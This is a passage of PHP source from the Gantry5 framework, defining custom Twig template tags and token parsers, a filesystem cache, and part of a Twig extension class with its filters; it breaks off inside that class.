<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig\Node;
class TwigNodeAssets extends \Twig_Node implements
\Twig_NodeCaptureInterface
{
protected $tagName = 'assets';
public function __construct(\Twig_Node $body = null,
\Twig_Node_Expression $location = null, \Twig_Node_Expression $variables =
null, $lineno = 0, $tag = null)
{
parent::__construct(['body' => $body,
'location' => $location, 'variables' =>
$variables], [], $lineno, $tag);
}
/**
* Compiles the node to PHP.
*
* @param \Twig_Compiler $compiler A Twig_Compiler instance
*/
public function compile(\Twig_Compiler $compiler)
{
$compiler->addDebugInfo($this)
->write("\$assetFunction =
\$this->env->getFunction('parse_assets')->getCallable();\n")
->write('$assetVariables = ')
->subcompile($this->getNode('variables'))
->raw(";\n")
->write("if (\$assetVariables &&
!is_array(\$assetVariables)) {\n")
->indent()
->write("throw new UnexpectedValueException('{%
{$this->tagName} with x %}: x is not an array');\n")
->outdent()
->write("}\n")
->write('$location = ')
->subcompile($this->getNode('location'))
->raw(";\n")
->write("if (\$location &&
!is_string(\$location)) {\n")
->indent()
->write("throw new UnexpectedValueException('{%
{$this->tagName} in x %}: x is not a string');\n")
->outdent()
->write("}\n")
->write("\$priority =
isset(\$assetVariables['priority']) ?
\$assetVariables['priority'] : 0;\n")
->write("ob_start();\n")
->subcompile($this->getNode('body'))
->write("\$content = ob_get_clean();\n")
->write("\$assetFunction(\$content, \$location,
\$priority);\n");
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig\Node;
class TwigNodeMarkdown extends \Twig_Node implements
\Twig_NodeOutputInterface
{
public function __construct(\Twig_Node $body, $lineno, $tag =
'markdown')
{
parent::__construct(['body' => $body], [], $lineno,
$tag);
}
/**
* Compiles the node to PHP.
*
* @param \Twig_Compiler A Twig_Compiler instance
*/
public function compile(\Twig_Compiler $compiler)
{
$compiler
->addDebugInfo($this)
->write('ob_start();' . PHP_EOL)
->subcompile($this->getNode('body'))
->write('$content = ob_get_clean();' . PHP_EOL)
->write('preg_match("/^\s*/", $content,
$matches);' . PHP_EOL)
->write('$lines = explode("\n",
$content);' . PHP_EOL)
->write('$content = preg_replace(\'/^\' .
$matches[0]. \'/\', "", $lines);' . PHP_EOL)
->write('$content = join("\n",
$content);' . PHP_EOL)
->write('echo
$this->env->getExtension(\'Gantry\Component\Twig\TwigExtension\')->markdownFunction($content);'
. PHP_EOL);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig\Node;
class TwigNodePageblock extends \Twig_Node implements
\Twig_NodeCaptureInterface
{
protected $tagName = 'pageblock';
public function __construct(\Twig_Node $body = null,
\Twig_Node_Expression $location = null, \Twig_Node_Expression $variables =
null, $lineno = 0, $tag = null)
{
parent::__construct(['body' => $body,
'location' => $location, 'variables' =>
$variables], [], $lineno, $tag);
}
/**
* Compiles the node to PHP.
*
* @param \Twig_Compiler $compiler A Twig_Compiler instance
*/
public function compile(\Twig_Compiler $compiler)
{
$compiler->addDebugInfo($this)
->write('$pageblockVariables = ')
->subcompile($this->getNode('variables'))
->raw(";\n")
->write("if (\$pageblockVariables &&
!is_array(\$pageblockVariables)) {\n")
->indent()
->write("throw new UnexpectedValueException('{%
{$this->tagName} with x %}: x is not an array');\n")
->outdent()
->write("}\n")
->write('$location = ')
->subcompile($this->getNode('location'))
->raw(";\n")
->write("if (\$location &&
!is_string(\$location)) {\n")
->indent()
->write("throw new UnexpectedValueException('{%
{$this->tagName} in x %}: x is not a string');\n")
->outdent()
->write("}\n")
->write("\$priority =
isset(\$pageblockVariables['priority']) ?
\$pageblockVariables['priority'] : 0;\n")
->write("ob_start();\n")
->subcompile($this->getNode('body'))
->write("\$content = ob_get_clean();\n")
->write("Gantry\Framework\Gantry::instance()['document']->addHtml(\$content,
\$priority, \$location);\n");
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig\Node;
class TwigNodeScripts extends TwigNodeAssets
{
protected $tagName = 'scripts';
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig\Node;
class TwigNodeStyles extends TwigNodeScripts
{
protected $tagName = 'styles';
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig\Node;
class TwigNodeSwitch extends \Twig_Node
{
public function __construct(\Twig_Node $value, \Twig_Node $cases,
\Twig_Node $default = null, $lineno = 0, $tag = null)
{
parent::__construct(array('value' => $value,
'cases' => $cases, 'default' => $default),
array(), $lineno, $tag);
}
/**
* Compiles the node to PHP.
*
* @param \Twig_Compiler A Twig_Compiler instance
*/
public function compile(\Twig_Compiler $compiler)
{
$compiler
->addDebugInfo($this)
->write('switch (')
->subcompile($this->getNode('value'))
->raw(") {\n")
->indent();
foreach ($this->getNode('cases') as $case) {
if (!$case->hasNode('body')) {
continue;
}
foreach ($case->getNode('values') as $value) {
$compiler
->write('case ')
->subcompile($value)
->raw(":\n");
}
$compiler
->write("{\n")
->indent()
->subcompile($case->getNode('body'))
->write("break;\n")
->outdent()
->write("}\n");
}
if ($this->hasNode('default') &&
$this->getNode('default') !== null) {
$compiler
->write("default:\n")
->write("{\n")
->indent()
->subcompile($this->getNode('default'))
->outdent()
->write("}\n");
}
$compiler
->outdent()
->write("}\n");
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig\Node;
class TwigNodeThrow extends \Twig_Node
{
public function __construct(
$code,
\Twig_Node $message,
$lineno = 0,
$tag = null
)
{
parent::__construct(['message' => $message],
['code' => $code], $lineno, $tag);
}
/**
* Compiles the node to PHP.
*
* @param \Twig_Compiler $compiler A Twig_Compiler instance
* @throws \LogicException
*/
public function compile(\Twig_Compiler $compiler)
{
$compiler->addDebugInfo($this);
$compiler
->write('throw new \RuntimeException(')
->subcompile($this->getNode('message'))
->write(', ')
->write($this->getAttribute('code') ?: 500)
->write(");\n");
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig\Node;
class TwigNodeTryCatch extends \Twig_Node
{
public function __construct(\Twig_Node $try, \Twig_Node $catch = null,
$lineno = 0, $tag = null)
{
parent::__construct(array('try' => $try,
'catch' => $catch), array(), $lineno, $tag);
}
/**
* Compiles the node to PHP.
*
* @param \Twig_Compiler $compiler A Twig_Compiler instance
*/
public function compile(\Twig_Compiler $compiler)
{
$compiler->addDebugInfo($this);
$compiler
->write('try {')
;
$compiler
->indent()
->subcompile($this->getNode('try'))
;
if ($this->hasNode('catch') && null !==
$this->getNode('catch')) {
$compiler
->outdent()
->write('} catch (\Exception $e) {' .
"\n")
->indent()
->write('if
($context[\'gantry\']->debug()) throw $e;' .
"\n")
->write('GANTRY_DEBUGGER &&
method_exists(\'Gantry\\Debugger\', \'addException\')
&& \Gantry\Debugger::addException($e);' . "\n")
->write('$context[\'e\'] = $e;' .
"\n")
->subcompile($this->getNode('catch'))
;
}
$compiler
->outdent()
->write("}\n");
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig\TokenParser;
use Gantry\Component\Twig\Node\TwigNodeScripts;
/**
* Adds javascript / style assets to head/footer/custom location.
*
* {% assets in 'head' with { priority: 2 } %}
* <script type="text/javascript" src="{{
url('gantry-theme://js/my.js') }}"></script>
* <link rel="stylesheet" href="{{
url('gantry-assets://css/font-awesome.min.css') }}"
type="text/css"/>
* {% endassets -%}
*/
class TokenParserAssets extends \Twig_TokenParser
{
/**
* Parses a token and returns a node.
*
* @param \Twig_Token $token A Twig_Token instance
*
* @return \Twig_Node A Twig_Node instance
*/
public function parse(\Twig_Token $token)
{
$lineno = $token->getLine();
$stream = $this->parser->getStream();
list($location, $variables) = $this->parseArguments($token);
$content = $this->parser->subparse([$this,
'decideBlockEnd'], true);
$stream->expect(\Twig_Token::BLOCK_END_TYPE);
return new TwigNodeScripts($content, $location, $variables,
$lineno, $this->getTag());
}
/**
* @param \Twig_Token $token
* @return array
*/
protected function parseArguments(\Twig_Token $token)
{
$stream = $this->parser->getStream();
$location = null;
if ($stream->nextIf(\Twig_Token::OPERATOR_TYPE, 'in'))
{
$location =
$this->parser->getExpressionParser()->parseExpression();
} else {
$lineno = $token->getLine();
$location = new
\Twig_Node_Expression_Constant('head', $lineno);
}
if ($stream->nextIf(\Twig_Token::NAME_TYPE, 'with')) {
$variables =
$this->parser->getExpressionParser()->parseExpression();
} else {
$lineno = $token->getLine();
$variables = new \Twig_Node_Expression_Array([], $lineno);
$variables->setAttribute('priority', 0);
}
$stream->expect(\Twig_Token::BLOCK_END_TYPE);
return [$location, $variables];
}
public function decideBlockEnd(\Twig_Token $token)
{
return $token->test('endassets');
}
/**
* Gets the tag name associated with this token parser.
*
* @return string The tag name
*/
public function getTag()
{
return 'assets';
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig\TokenParser;
use Gantry\Component\Twig\Node\TwigNodeMarkdown;
/**
* Adds ability to inline markdown between tags.
*
* {% markdown %}
* This is **bold** and this _underlined_
*
* 1. This is a bullet list
* 2. This is another item in that same list
* {% endmarkdown %}
*/
class TokenParserMarkdown extends \Twig_TokenParser
{
/**
* {@inheritdoc}
*/
public function parse(\Twig_Token $token)
{
$lineno = $token->getLine();
$this->parser->getStream()->expect(\Twig_Token::BLOCK_END_TYPE);
$body = $this->parser->subparse(array($this,
'decideMarkdownEnd'), true);
$this->parser->getStream()->expect(\Twig_Token::BLOCK_END_TYPE);
return new TwigNodeMarkdown($body, $lineno, $this->getTag());
}
/**
* Decide if current token marks end of Markdown block.
*
* @param \Twig_Token $token
* @return bool
*/
public function decideMarkdownEnd(\Twig_Token $token)
{
return $token->test('endmarkdown');
}
/**
* {@inheritdoc}
*/
public function getTag()
{
return 'markdown';
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig\TokenParser;
use Gantry\Component\Twig\Node\TwigNodePageblock;
/**
* Adds javascript / style assets to head/footer/custom location.
*
* {% pageblock in 'bottom' with { priority: 0 } %}
* <div>Bottom HTML</div>
* {% endpageblock -%}
*/
class TokenParserPageblock extends \Twig_TokenParser
{
/**
* Parses a token and returns a node.
*
* @param \Twig_Token $token A Twig_Token instance
*
* @return \Twig_Node A Twig_Node instance
*/
public function parse(\Twig_Token $token)
{
$lineno = $token->getLine();
$stream = $this->parser->getStream();
list($location, $variables) = $this->parseArguments($token);
$content = $this->parser->subparse([$this,
'decideBlockEnd'], true);
$stream->expect(\Twig_Token::BLOCK_END_TYPE);
return new TwigNodePageblock($content, $location, $variables,
$lineno, $this->getTag());
}
/**
* @param \Twig_Token $token
* @return array
*/
protected function parseArguments(\Twig_Token $token)
{
$stream = $this->parser->getStream();
$lineno = $token->getLine();
$location = new
\Twig_Node_Expression_Constant($stream->expect(\Twig_Token::NAME_TYPE)->getValue(),
$lineno);
if ($stream->nextIf(\Twig_Token::NAME_TYPE, 'with')) {
$variables =
$this->parser->getExpressionParser()->parseExpression();
} else {
$lineno = $token->getLine();
$variables = new \Twig_Node_Expression_Array([], $lineno);
$variables->setAttribute('priority', 0);
}
$stream->expect(\Twig_Token::BLOCK_END_TYPE);
return [$location, $variables];
}
public function decideBlockEnd(\Twig_Token $token)
{
return $token->test('endpageblock');
}
/**
* Gets the tag name associated with this token parser.
*
* @return string The tag name
*/
public function getTag()
{
return 'pageblock';
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig\TokenParser;
/**
* Adds scripts to head/footer/custom location.
*
* {% scripts in 'head' with { priority: 2 } %}
* <script type="text/javascript" src="{{
url('gantry-theme://js/my.js') }}"></script>
* {% endscripts -%}
*/
class TokenParserScripts extends TokenParserAssets
{
public function decideBlockEnd(\Twig_Token $token)
{
return $token->test('endscripts');
}
/**
* Gets the tag name associated with this token parser.
*
* @return string The tag name
*/
public function getTag()
{
return 'scripts';
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig\TokenParser;
/**
* Adds stylesheets to document.
*
* {% styles with { priority: 2 } %}
* <link rel="stylesheet" href="{{
url('gantry-assets://css/font-awesome.min.css') }}"
type="text/css"/>
* {% endstyles -%}
*/
class TokenParserStyles extends TokenParserAssets
{
public function decideBlockEnd(\Twig_Token $token)
{
return $token->test('endstyles');
}
/**
* Gets the tag name associated with this token parser.
*
* @return string The tag name
*/
public function getTag()
{
return 'styles';
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig\TokenParser;
use Gantry\Component\Twig\Node\TwigNodeSwitch;
/**
* Adds ability use elegant switch instead of ungainly if statements
*
* {% switch type %}
* {% case 'foo' %}
* {{ my_data.foo }}
* {% case 'bar' %}
* {{ my_data.bar }}
* {% default %}
* {{ my_data.default }}
* {% endswitch %}
*/
class TokenParserSwitch extends \Twig_TokenParser
{
/**
* {@inheritdoc}
*/
public function parse(\Twig_Token $token)
{
$lineno = $token->getLine();
$stream = $this->parser->getStream();
$name =
$this->parser->getExpressionParser()->parseExpression();
$stream->expect(\Twig_Token::BLOCK_END_TYPE);
// There can be some whitespace between the {% switch %} and first
{% case %} tag.
while ($stream->getCurrent()->getType() ===
\Twig_Token::TEXT_TYPE &&
trim($stream->getCurrent()->getValue()) === '') {
$stream->next();
}
$stream->expect(\Twig_Token::BLOCK_START_TYPE);
$expressionParser = $this->parser->getExpressionParser();
$default = null;
$cases = [];
$end = false;
while (!$end) {
$next = $stream->next();
switch ($next->getValue()) {
case 'case':
$values = [];
while (true) {
$values[] =
$expressionParser->parsePrimaryExpression();
// Multiple allowed values?
if ($stream->test(\Twig_Token::OPERATOR_TYPE,
'or')) {
$stream->next();
} else {
break;
}
}
$stream->expect(\Twig_Token::BLOCK_END_TYPE);
$body = $this->parser->subparse(array($this,
'decideIfFork'));
$cases[] = new \Twig_Node([
'values' => new \Twig_Node($values),
'body' => $body
]);
break;
case 'default':
$stream->expect(\Twig_Token::BLOCK_END_TYPE);
$default = $this->parser->subparse(array($this,
'decideIfEnd'));
break;
case 'endswitch':
$end = true;
break;
default:
throw new \Twig_Error_Syntax(sprintf('Unexpected
end of template. Twig was looking for the following tags "case",
"default", or "endswitch" to close the
"switch" block started at line %d)', $lineno), -1);
}
}
$stream->expect(\Twig_Token::BLOCK_END_TYPE);
return new TwigNodeSwitch($name, new \Twig_Node($cases), $default,
$lineno, $this->getTag());
}
/**
* Decide if current token marks switch logic.
*
* @param \Twig_Token $token
* @return bool
*/
public function decideIfFork(\Twig_Token $token)
{
return $token->test(array('case', 'default',
'endswitch'));
}
/**
* Decide if current token marks end of swtich block.
*
* @param \Twig_Token $token
* @return bool
*/
public function decideIfEnd(\Twig_Token $token)
{
return $token->test(array('endswitch'));
}
/**
* {@inheritdoc}
*/
public function getTag()
{
return 'switch';
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig\TokenParser;
use Gantry\Component\Twig\Node\TwigNodeThrow;
/**
* Handles try/catch in template file.
*
* <pre>
* {% throw 404 'Not Found' %}
* </pre>
*/
class TokenParserThrow extends \Twig_TokenParser
{
/**
* Parses a token and returns a node.
*
* @param \Twig_Token $token A Twig_Token instance
*
* @return \Twig_Node A Twig_Node instance
*/
public function parse(\Twig_Token $token)
{
$lineno = $token->getLine();
$stream = $this->parser->getStream();
$code =
$stream->expect(\Twig_Token::NUMBER_TYPE)->getValue();
$message =
$this->parser->getExpressionParser()->parseExpression();
$stream->expect(\Twig_Token::BLOCK_END_TYPE);
return new TwigNodeThrow($code, $message, $lineno,
$this->getTag());
}
/**
* Gets the tag name associated with this token parser.
*
* @return string The tag name
*/
public function getTag()
{
return 'throw';
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig\TokenParser;
use Gantry\Component\Twig\Node\TwigNodeTryCatch;
/**
* Handles try/catch in template file.
*
* <pre>
* {% try %}
* <li>{{ user.get('name') }}</li>
* {% catch %}
* {{ e.message }}
* {% endcatch %}
* </pre>
*/
class TokenParserTryCatch extends \Twig_TokenParser
{
/**
* Parses a token and returns a node.
*
* @param \Twig_Token $token A Twig_Token instance
*
* @return \Twig_Node A Twig_Node instance
*/
public function parse(\Twig_Token $token)
{
$lineno = $token->getLine();
$stream = $this->parser->getStream();
$stream->expect(\Twig_Token::BLOCK_END_TYPE);
$try = $this->parser->subparse([$this,
'decideCatch']);
$stream->next();
$stream->expect(\Twig_Token::BLOCK_END_TYPE);
$catch = $this->parser->subparse([$this,
'decideEnd']);
$stream->next();
$stream->expect(\Twig_Token::BLOCK_END_TYPE);
return new TwigNodeTryCatch($try, $catch, $lineno,
$this->getTag());
}
public function decideCatch(\Twig_Token $token)
{
return $token->test(array('catch'));
}
public function decideEnd(\Twig_Token $token)
{
return $token->test(array('endtry')) ||
$token->test(array('endcatch'));
}
/**
* Gets the tag name associated with this token parser.
*
* @return string The tag name
*/
public function getTag()
{
return 'try';
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig;
/**
* Class TwigCacheFilesystem
* @package Gantry\Component\Twig
*
* Replaces \Twig_Cache_Filesystem, needed for being able to change PHP
versions on fly.
*/
class TwigCacheFilesystem implements \Twig_CacheInterface
{
const FORCE_BYTECODE_INVALIDATION = 1;
private $directory;
private $options;
/**
* @param $directory string The root cache directory
* @param $options int A set of options
*/
public function __construct($directory, $options = 0)
{
$this->directory = rtrim($directory,
'\/').'/';
$this->options = $options;
}
/**
* {@inheritdoc}
*/
public function generateKey($name, $className)
{
$hash = hash('sha256', $className . '-' .
PHP_VERSION);
return
$this->directory.$hash[0].$hash[1].'/'.$hash.'.php';
}
/**
* {@inheritdoc}
*/
public function load($key)
{
@include_once $key;
}
/**
* {@inheritdoc}
*/
public function write($key, $content)
{
$dir = dirname($key);
if (!is_dir($dir)) {
if (false === @mkdir($dir, 0777, true) &&
!is_dir($dir)) {
throw new \RuntimeException(sprintf('Unable to create
the cache directory (%s).', $dir));
}
} elseif (!is_writable($dir)) {
throw new \RuntimeException(sprintf('Unable to write in
the cache directory (%s).', $dir));
}
$tmpFile = tempnam($dir, basename($key));
if (false !== @file_put_contents($tmpFile, $content) &&
@rename($tmpFile, $key)) {
@chmod($key, 0666 & ~umask());
if (self::FORCE_BYTECODE_INVALIDATION == ($this->options
& self::FORCE_BYTECODE_INVALIDATION)) {
// Compile cached file into bytecode cache
if (function_exists('opcache_invalidate')) {
// Silence error in case if `opcache.restrict_api`
directive is set.
@opcache_invalidate($key, true);
} elseif (function_exists('apc_compile_file')) {
@apc_compile_file($key);
}
}
return;
}
throw new \RuntimeException(sprintf('Failed to write cache
file "%s".', $key));
}
/**
* {@inheritdoc}
*/
public function getTimestamp($key)
{
if (!file_exists($key)) {
return 0;
}
return (int) @filemtime($key);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Component\Twig;
use Gantry\Component\Content\Document\HtmlDocument;
use Gantry\Component\Gantry\GantryTrait;
use Gantry\Component\Translator\TranslatorInterface;
use Gantry\Component\Twig\TokenParser\TokenParserPageblock;
use Gantry\Component\Twig\TokenParser\TokenParserAssets;
use Gantry\Component\Twig\TokenParser\TokenParserScripts;
use Gantry\Component\Twig\TokenParser\TokenParserStyles;
use Gantry\Component\Twig\TokenParser\TokenParserTryCatch;
use Gantry\Component\Twig\TokenParser\TokenParserMarkdown;
use Gantry\Component\Twig\TokenParser\TokenParserSwitch;
use Gantry\Component\Twig\TokenParser\TokenParserThrow;
use Gantry\Framework\Gantry;
use Gantry\Framework\Markdown\Parsedown;
use Gantry\Framework\Markdown\ParsedownExtra;
use Gantry\Framework\Request;
use RocketTheme\Toolbox\ArrayTraits\NestedArrayAccess;
class TwigExtension extends \Twig_Extension implements
\Twig_Extension_GlobalsInterface
{
use GantryTrait;
/**
* Register some standard globals
*
* @return array
*/
public function getGlobals()
{
return [
'gantry' => static::gantry(),
];
}
/**
* Return a list of all filters.
*
* @return array
*/
public function getFilters()
{
$filters = [
new \Twig_SimpleFilter('html', [$this,
'htmlFilter']),
new \Twig_SimpleFilter('url', [$this,
'urlFunc']),
new \Twig_SimpleFilter('trans_key', [$this,
'transKeyFilter']),
new \Twig_SimpleFilter('trans', [$this,
'transFilter']),
new \Twig_SimpleFilter('repeat', [$this,
'repeatFilter']),
new \Twig_SimpleFilter('values', [$this,
'valuesFilter']),
new \Twig_SimpleFilter('base64',
'base64_encode'),
new \Twig_SimpleFilter('imagesize', [$this,
'imageSize']),
new \Twig_SimpleFilter('truncate_text', [$this,
'truncateText']),
new \Twig_SimpleFilter('attribute_array', [$this,
'attributeArrayFilter'], ['is_safe' =>
['html']]),
];
if (1 || GANTRY5_PLATFORM !== 'grav') {
$filters = array_merge($filters, [
new \Twig_SimpleFilter('fieldName', [$this,
'fieldNameFilter']),
new \Twig_SimpleFilter('json_decode', [$this,
'jsonDecodeFilter']),
new \Twig_SimpleFilter('truncate_html', [$this,
'truncateHtml']),
new \Twig_SimpleFilter('markdown', [$this,
'markdownFunction'], ['is_safe' =>
['html']]),
new \Twig_SimpleFilter('nicetime', [$this,
'nicetimeFilter']),
// Casting values
new \Twig_SimpleFilter('string', [$this,
'stringFilter']),
new \Twig_SimpleFilter('int', [$this,
'intFilter'], ['is_safe' => ['all']]),
new \Twig_SimpleFilter('bool', [$this,
'boolFilter']),
new \Twig_SimpleFilter('float', [$this,
'floatFilter'], ['is_safe' => ['all']]),
new \Twig_SimpleFilter('array', [$this,
'arrayFilter']),
]);
}
return $filters;
}
/**
* Return a list of all functions.
*
* @return array
*/
public function getFunctions()
{
$functions = [
new \Twig_SimpleFunction('nested', [$this,
'nestedFunc']),
new \Twig_SimpleFunction('parse_assets', [$this,
'parseAssetsFunc']),
new \Twig_SimpleFunction('colorContrast', [$this,
'colorContrastFunc']),
new \Twig_SimpleFunction('get_cookie', [$this,
'getCookie']),
new \Twig_SimpleFunction('preg_match', [$this,
'pregMatch']),
new \Twig_SimpleFunction('imagesize', [$this,
'imageSize']),
new \Twig_SimpleFunction('is_selected', [$this,
'is_selectedFunc']),
new \Twig_SimpleFunction('url', [$this,
'urlFunc']),
];
if (1 || GANTRY5_PLATFORM !== 'grav') {
$functions = array_merge($functions, [
new \Twig_SimpleFunction('array', [$this,
'arrayFilter']),
new \Twig_SimpleFunction('json_decode', [$this,
'jsonDecodeFilter']),
]);
}
return $functions;
}
/**
* @return array
*/
public function getTokenParsers()
{
return [
new TokenParserPageblock(),
new TokenParserAssets(),
new TokenParserScripts(),
new TokenParserStyles(),
new TokenParserThrow(),
new TokenParserTryCatch(),
new TokenParserMarkdown(),
new TokenParserSwitch()
];
}
/**
* Filters field name by changing dot notation into array notation.
*
* @param string $str
* @return string
*/
public function fieldNameFilter($str)
{
$path = explode('.', $str);
return array_shift($path) . ($path ? '[' .
implode('][', $path) . ']' : '');
}
/**
* Translate by using key, default on original string.
*
* @param $str
* @return string
*/
public function transKeyFilter($str)
{
$params = \func_get_args();
array_shift($params);
$key = preg_replace('|[^A-Z0-9]+|', '_',
strtoupper(implode('_', $params)));
$translation = $this->transFilter($key);
return $translation === $key ? $str : $translation;
}
/**
* Translate string.
*
* @param string $str
* @return string
*/
public function transFilter($str)
{
/** @var TranslatorInterface $translator */
static $translator;
$params = \func_get_args();
if (!$translator) {
$translator = self::gantry()['translator'];
}
return \call_user_func_array([$translator, 'translate'],
$params);
}
/**
* Repeat string x times.
*
* @param string $str
* @param int $count
* @return string
*/
public function repeatFilter($str, $count)
{
return str_repeat($str, max(0, (int) $count));
}
/**
* Decodes string from JSON.
*
* @param string $str
* @param bool $assoc
* @param int $depth
* @param int $options
* @return array
*/
public function jsonDecodeFilter($str, $assoc = false, $depth = 512,
$options = 0)
{
return json_decode(html_entity_decode($str), $assoc, $depth,
$options);
}
public function imageSize($src, $attrib = true, $remote = false)
{
// TODO: need to better handle absolute and relative paths
//$url =
Gantry::instance()['document']->url(trim((string) $src),
false, false);
$width = $height = null;
$sizes = ['width' => $width, 'height' =>
$height];
$attr = '';
if (@is_file($src) || $remote) {
try {
list($width, $height,, $attr) = @getimagesize($src);
} catch (\Exception $e) {}
$sizes['width'] = $width;
$sizes['height'] = $height;
}
return $attrib ? $attr : $sizes;
}
/**
* Reindexes values in array.
*
* @param array $array
* @return array
*/
public function valuesFilter(array $array)
{
return array_values($array);
}
/**
* Casts input to string.
*
* @param mixed $input
* @return string
*/
